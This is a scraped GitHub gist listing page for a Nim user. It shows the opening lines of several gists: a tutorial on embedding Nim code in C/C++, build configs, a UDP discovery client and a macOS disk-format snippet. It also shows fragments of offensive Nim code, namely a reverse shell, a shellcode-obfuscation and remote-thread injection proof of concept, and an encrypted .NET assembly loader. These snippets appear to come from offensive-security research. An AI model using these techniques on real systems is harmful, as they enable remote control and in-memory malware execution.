Skip to content

Instantly share code, notes, and snippets.

View foxoman's full-sized avatar

Sultan Al Isaiee foxoman

View GitHub Profile
@foxoman
foxoman / tutorial.md
Created October 19, 2022 18:51 — forked from KyrillosWalid/tutorial.md
How to add Nim-lang code to C/C++ code - TUTORIAL

How to add Nim-lang code to C/C++ code


Note 1: This tutorial is for Linux users only, but if you understand the idea, you can use it on all systems and it will work as required :).
Note 2: Nim-lang version used in this tutorial is 1.0.4 (To get Nim-lang version nim -v)

To add Nim-lang code to C/C++ code you have 3 choices :

  • Compile Nim-lang code as a (C/C++ header File). THIS IS WHAT WE WILL TAKE TODAY.
  • Compile Nim-lang code as a (C/C++ static library).
  • Compile Nim-lang code as a (C/C++ dynamic library).
@mttaggart
mttaggart / getpass.nim
Created January 20, 2022 02:47
Nim GetPass
# With thanks to reilly!
proc getPass(prompt = "Secret: "): string =
stdout.write(prompt)
while result == "" or result[^1] notin ['\x0D', '\n']:
result.add getch()
stdout.write("*")
stdout.write("\n")
return result.strip()
@planetis-m
planetis-m / nim.cfg
Last active March 12, 2025 08:58
Top level nim.cfg
#cc = clang
--experimental:strictEffects
--experimental:strictFuncs
--experimental:strictDefs
--experimental:unicodeOperators
--experimental:overloadableEnums
--define:nimPreviewCstringConversion
--define:nimPreviewFloatRoundtrip
--define:nimStrictDelete
--define:nimUseLinenoise
@Michal-Szczepaniak
Michal-Szczepaniak / client.nim
Created October 20, 2021 17:20
Nim UDP server discovery
import net
let socket = newSocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
socket.setSockOpt(OptReuseAddr, true)
socket.setSockOpt(OptReusePort, true)
socket.setSockOpt(OptBroadcast, true)
socket.sendTo("255.255.255.255", Port(12346), $0b10)
var
receivedFrom = ""
@pawnmuncher
pawnmuncher / nimrs.nim
Created October 2, 2021 14:47 — forked from mttaggart/nimrs.nim
A simple reverse shell written in Nim
import net
import osproc
import strformat
# Create Socket
let port = 9999
let address = "127.0.0.1"
let sock = newSocket()
# Connect to listener
@pawnmuncher
pawnmuncher / nimterpreter.nim
Created October 2, 2021 14:47 — forked from mttaggart/nimterpreter.nim
A simple PoC for obfuscating shellcode in Nim
# With special thanks to byt3bl33d3r for Offensive Nim!
import winim/lean
import osproc
import base64
import sequtils
import strutils
proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =
let tProcess = startProcess("notepad.exe")
@ChoiSG
ChoiSG / rsrcDecryptAssembly.nim
Last active September 19, 2022 17:31
embed .net, decrypt, load and execute in nim poc
import nimcrypto
import winim/clr except `[]` # https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/ <-- thank you so much, 2 hours googling I almost went crazy
#[
All credit goes to @byt3bl33d3r (OffensiveNim) and @s3cur3th1ssh1t
nimble install winim nimcrypto zippy
nim c -d:danger -d:strip --opt:size rsrcDecryptAssembly.nim
slurp = "staticRead" will read the file and store it in the variable (.rdata) on compile time.
@planetis-m
planetis-m / mybuildcmds.rst
Last active June 20, 2025 19:56
My build commands

Debug

nim c --cc:clang --mm:orc --panics:on --threads:on -l:"-fuse-ld=mold" %f

Release

@garethrees
garethrees / format.sh
Created April 28, 2020 15:32
Format USB drive from the command line macOS
diskutil list
diskutil unmountDisk /dev/disk2
diskutil eraseDisk FAT32 SANDISK /dev/disk2
@KyrillosWalid
KyrillosWalid / tutorial.md
Last active June 23, 2024 15:56
How to add Nim-lang code to C/C++ code - TUTORIAL

How to add Nim-lang code to C/C++ code


Note 1: This tutorial is for Linux users only, but if you understand the idea, you can use it on all systems and it will work as required :).
Note 2: Nim-lang version used in this tutorial is 1.0.4 (To get Nim-lang version nim -v)

To add Nim-lang code to C/C++ code you have 3 choices :

  • Compile Nim-lang code as a (C/C++ header File). THIS IS WHAT WE WILL TAKE TODAY.
  • Compile Nim-lang code as a (C/C++ static library).
  • Compile Nim-lang code as a (C/C++ dynamic library).